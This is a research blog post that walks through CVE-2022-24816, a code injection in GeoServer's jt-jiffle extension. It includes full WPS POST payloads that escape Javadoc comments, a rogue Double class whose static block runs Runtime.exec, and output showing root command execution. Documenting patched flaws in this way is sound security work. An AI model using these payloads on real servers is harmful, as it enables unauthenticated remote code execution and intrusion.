Exploiting CVE-2022-24816: A code injection in the jt-jiffle extension of GeoServer

Rédigé par Vincent Herbulot , Rémi Matasse - 12/08/2022 - dans Pentest - Téléchargement
During one of our assessments we came across a server running GeoServer version 2.17.2. This version is outdated and affected by multiple security vulnerabilities. Among those vulnerabilities, one looked more promising than the others: CVE-2022-24816. This vulnerability is a code injection flaw in jt-jiffle that leads to an unauthenticated remote code execution.

About GeoServer and jt-jiffle

GeoServer is an open source server for sharing geospatial data. The server implements industry standard OGC protocols such as Web Feature Service (WFS), Web Map Service (WMS), and Web Coverage Service (WCS). GeoServer comes with the JAI-EXT API [1]. This API is enabled by default and provides a set of high level objects for image processing.

The JAI-EXT project contains a map algebra language called Jiffle. Jiffle is a simple scripting language to work with raster images. Its main aim is to let you get more done with less code.

For example, the following Jiffle script allows to generate a set of concentric sinusoidal waves emanating from the image center:

init {
  // image centre coordinates                  
  xc = width() / 2;
  yc = height() / 2;

  // constant term
  C = M_PI * 8;
}

dx = (x() - xc) / xc;
dy = (y() - yc) / yc;
d = sqrt(dx*dx + dy*dy);

destImg = sin(C * d);
Jiffle generated concentric circles

How Jiffle works under the hood

According to the JAI-EXT Jiffle documentation "Jiffle scripts are turned on the fly into Java code which is then byte-code compiled into executable Java code."

What could possibly go wrong

The process to execute a Jiffle script looks as follows:

  1. Compile the script into a run-time object
  2. Provide the run-time object with source and destination images and possibly coordinate information
  3. Execute the object
  4. Retrieve the results

The step that is crucial to understand is the first one, which can be divided into four subtasks.

Subtask 1: Generate an antlr ParseTree from the Jiffle script

When executing a Jiffle script, it is first converted to an org.antlr.v4.runtime.tree.ParseTree using a JiffleLexer and a JiffleParser. This is done in the parseScript method of the Jiffle class:

private static Jiffle.Result<ParseTree> parseScript(String script) {
        CharStream input = CharStreams.fromString(script);

        JiffleLexer lexer = new JiffleLexer(input);
        TokenStream tokens = new CommonTokenStream(lexer);

        JiffleParser parser = new JiffleParser(tokens);
        parser.removeErrorListeners();

        JiffleParserErrorListener errListener = new JiffleParserErrorListener();
        parser.addErrorListener(errListener);

        ParseTree tree = parser.script();
        return new Jiffle.Result(tree, errListener.messages);
}

Subtask 2: Create a runtime model from the ParseTree

Next, the it.geosolutions.jaiext.jiffle.parser.RuntimeModelWorker is used to walk the resulting tree and generate an it.geosolutions.jaiext.jiffle.parser.node.Script object scriptModel. The relevant code can be found in the compile method of the Jiffle class:

public final void compile() throws it.geosolutions.jaiext.jiffle.JiffleException {
[...]   
        Jiffle.Result<ParseTree> parseResult = parseScript(theScript);
[...]
        ParseTree tree = parseResult.result;
[...]
        RuntimeModelWorker worker = new RuntimeModelWorker(tree, optionsWorker.options, expressionWorker.getProperties(), expressionWorker.getScopes());
        this.scriptModel = worker.getScriptNode();
        this.destinationBands = worker.getDestinationBands();
}

Subtask 3: Convert the runtime model to Java source code

The scriptModel object is then converted to Java source code by calling the Script.write() method. This call is made in the createRuntimeSource method of the Jiffle class.

private String createRuntimeSource(RuntimeModel model, String baseClassName,
                                     boolean scriptInDocs) {
      SourceWriter writer = new SourceWriter(model);
      if (scriptInDocs) {
            writer.setScript(theScript);
      }
      writer.setBaseClassName(baseClassName);
      scriptModel.write(writer);
      return writer.getSource();
}

Subtask 4: Compile the Java source code to Java byte-code

Finally, the source code is compiled to Java byte-code using a org.codehaus.janino.SimpleCompiler.

private JiffleRuntime createRuntimeInstance(RuntimeModel model, Class<? extends JiffleRuntime> runtimeClass, boolean scriptInDocs) throws
            it.geosolutions.jaiext.jiffle.JiffleException {
[...]
        String runtimeSource = createRuntimeSource(model, runtimeClass.getName(), scriptInDocs);
[...]
        try {
            SimpleCompiler compiler = new SimpleCompiler();
            compiler.cook(runtimeSource);
[...]
        }
}

About CVE-2022-24816

According to the NIST National Vulnerability Database [NVD], "programs allowing Jiffle script to be provided via network request can lead to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed." [JANINO]. This vulnerability is given a CVSS score of 9.8. This vulnerability affects all version of JAI-EXT prior to 1.1.22.

As always, analyzing the patch for the vulnerability is of great value to identify an exploitation path. By navigating through the JAI-EXT commits we quickly identified the commit cb1d6565d38954676b0a366da4f965fef38da1cb "Validate Jiffle input variable names according to grammar, escape Javadocs when including Jiffle sources in output".

Jiffle patch diff

By looking at the patch [JAI-EXT-PATCH], one can quickly identify that Javadoc comment escaping has been added to the it.geosolutions.jaiext.jiffle.parser.node.Script write method. As we've seen above, this method is used by Jiffle to convert the scriptModel to Java source code.

Triggering the vulnerability

In order to set up a playground to try and trigger the code execution, we run GeoServer in a Docker container:

$ docker run -p 8085:8080 kartoza/geoserver:2.17.2

On a default installation Jiffle scripts can be run by non-authenticated users. One way to do so is to first generate a proper WPS XML request using the WPS builder demo webpage:

geoserver wps request builder

The generated request can then be sent to the /geoserver/wms endpoint using a POST request. This endpoint runs the OGC Web Map Service which is also accessible without authentication.

After a few tests playing with comments, we triggered a verbose error that sounds promising using the following payload:

POST /geoserver/wms HTTP/1.1
Host: localhost:8085
[...]

<?xml version="1.0" encoding="UTF-8"?><wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
  <ows:Identifier>ras:Jiffle</ows:Identifier>
  <wps:DataInputs>
    <wps:Input>
      <ows:Identifier>coverage</ows:Identifier>
      <wps:Data>
        <wps:ComplexData mimeType="application/arcgrid">
          <![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316 ]]>
        </wps:ComplexData>
      </wps:Data>
    </wps:Input>
    <wps:Input>
      <ows:Identifier>script</ows:Identifier>
      <wps:Data>
         <wps:LiteralData>dest = 1; */ </wps:LiteralData>
      </wps:Data>
    </wps:Input>
    <wps:Input>
      <ows:Identifier>outputType</ows:Identifier>
      <wps:Data>
        <wps:LiteralData>DOUBLE</wps:LiteralData>
      </wps:Data>
    </wps:Input>
  </wps:DataInputs>
  <wps:ResponseForm>
    <wps:RawDataOutput mimeType="image/tiff">
      <ows:Identifier>result</ows:Identifier>
    </wps:RawDataOutput>
  </wps:ResponseForm>
</wps:Execute>

This payload results in a verbose javax.media.jai.util.ImagingException:

HTTP/1.1 200
[...]

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution
javax.media.jai.util.ImagingException: All factories fail for the operation &amp;quot;Jiffle&amp;quot;
All factories fail for the operation &amp;quot;Jiffle&amp;quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;

import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;

/**
 * Java runtime class generated from the following Jiffle script: 
 *&amp;lt;code&amp;gt;
 * dest = 1; */
 *&amp;lt;/code&amp;gt;
 */
public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {
    SourceImage s_src;

    public JiffleIndirectRuntimeImpl() {
        super(new String[] {});
    }

    protected void initImageScopeVars() {
        s_src = (SourceImage) _images.get(&amp;quot;src&amp;quot;);
        _imageScopeVarsInitialized = true;
    }

    public double evaluate(double _x, double _y) {
        if (!isWorldSet()) {
            setDefaultBounds();
        }
        if (!_imageScopeVarsInitialized) {
            initImageScopeVars();
        }
        _stk.clear();
        double result = Double.NaN;

        result = 1;
        return result;
    }
}

Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
[...]

Line 11, Column 3: One of &amp;apos;class enum interface @&amp;apos; expected instead of &amp;apos;*&amp;apos;

As we can see from the error above, Jiffle integrates the comments when generating the final java source code without properly escaping them. Hence, the Janino compiler fails to convert the source code to byte-code since it meets an uncommented line starting with a * while it expects keywords such as class, enum or interface.

In order to inject Java code in the file we will also need to fix the remaining comments by adding the string /*. Our payloads will look like this:

<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>

At this point of the process we are able to translate any Java class to byte-code, however, we do not control the execution flow since:

  • We do not control an object that will be instantiated.
  • We do not control a class that will be loaded in memory: the classes that we create are not directly loaded into memory, they are rather lazy-loaded by the class loader at runtime [JVM-CLASS-LOADER].

From class injection to code execution

Our first idea to obtain code execution from there was to rewrite the JiffleIndirectRuntimeImpl class with the following payload:

<wps:LiteralData>dest = 1; // */ class JiffleIndirectRuntimeImpl{ } /*</wps:LiteralData>

Unfortunately, this does not work since the code scheduled to be compiled by Janino already contains this class:

HTTP/1.1 200
[...]
Process failed during execution
Line 13, Column 13: Redeclaration of type &amp;quot;JiffleIndirectRuntimeImpl&amp;quot;, previously declared in Line 10, Column 25

After digging a little more in the Java code generated by Jiffle we found out that it was possible to override the Double class that is used when initializing the result variable at the end of the program.

double result = Double.NaN;

According to the Java documentation:

A class or interface type T will be initialized immediately before the first occurrence of any one of the following: [...] A static field declared by T is assigned. [JAVA-CLASS-INITIALIZATION]

Hence, by overriding the Double class we make sure we control a class that will be loaded in memory : the class will be loaded when the Double.NaN static property will be accessed.

Now that we know how to control a class that will be loaded in memory, the last trick is to add a static block of code to it. Indeed, since static blocks of code are executed when a class is loaded in memory [JAVA-STATIC-INITIALIZER], accessing the static attribute NaN of our rogue Double class will trigger the execution of the static block of code. The rogue Double class that we used as a Proof-of-Concept looks as follows:

public class Double {
  public static double NaN;
  static {
    throw new RuntimeException(": We  control the execution flow :)");
  }
}

Exploiting CVE-2022-24816 to get remote code execution

Executing a command is now straight forward. We used the following Double class to trigger the execution of the id command:

public class Double {
  public static double NaN = 0;
  static {
    try {
      java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
      String line = null;
      String allLines = " - ";
      while ((line = reader.readLine()) != null) {
        allLines += line;
      } throw new RuntimeException(allLines);
    } catch (java.io.IOException e) {}
  }
}

Combining this with the initial payload to escape Java comments results in the following request:

POST /geoserver/wms HTTP/1.1
[...]
<wps:Input>
  <ows:Identifier>script</ows:Identifier>
  <wps:Data>
    <wps:LiteralData>
dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**
    </wps:LiteralData>
  </wps:Data>
</wps:Input>

The execution of the above request results in a java.lang.ExceptionInInitializerError exception which contains the output of the executed command:

HTTP/1.1 200
[...]
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>i
Process failed during execution
java.lang.ExceptionInInitializerError - uid=0(root) gid=0(root) groups=0(root)
</ows:ExceptionText>
[...]

References

[NVD] https://nvd.nist.gov/vuln/detail/CVE-2022-24816

[JANINO] https://janino-compiler.github.io/janino/

[JAI-EXT-PATCH] https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a3…

[JVM-CLASS-LOADER] https://blogs.oracle.com/javamagazine/post/how-the-jvm-locates-loads-an…

[JAVA-CLASS-INITIALIZATION] https://docs.oracle.com/javase/specs/jls/se7/html/jls-12.html#jls-12.4.2

[JAVA-STATIC-INITIALIZER] https://docs.oracle.com/javase/specs/jls/se7/html/jls-8.html#jls-8.7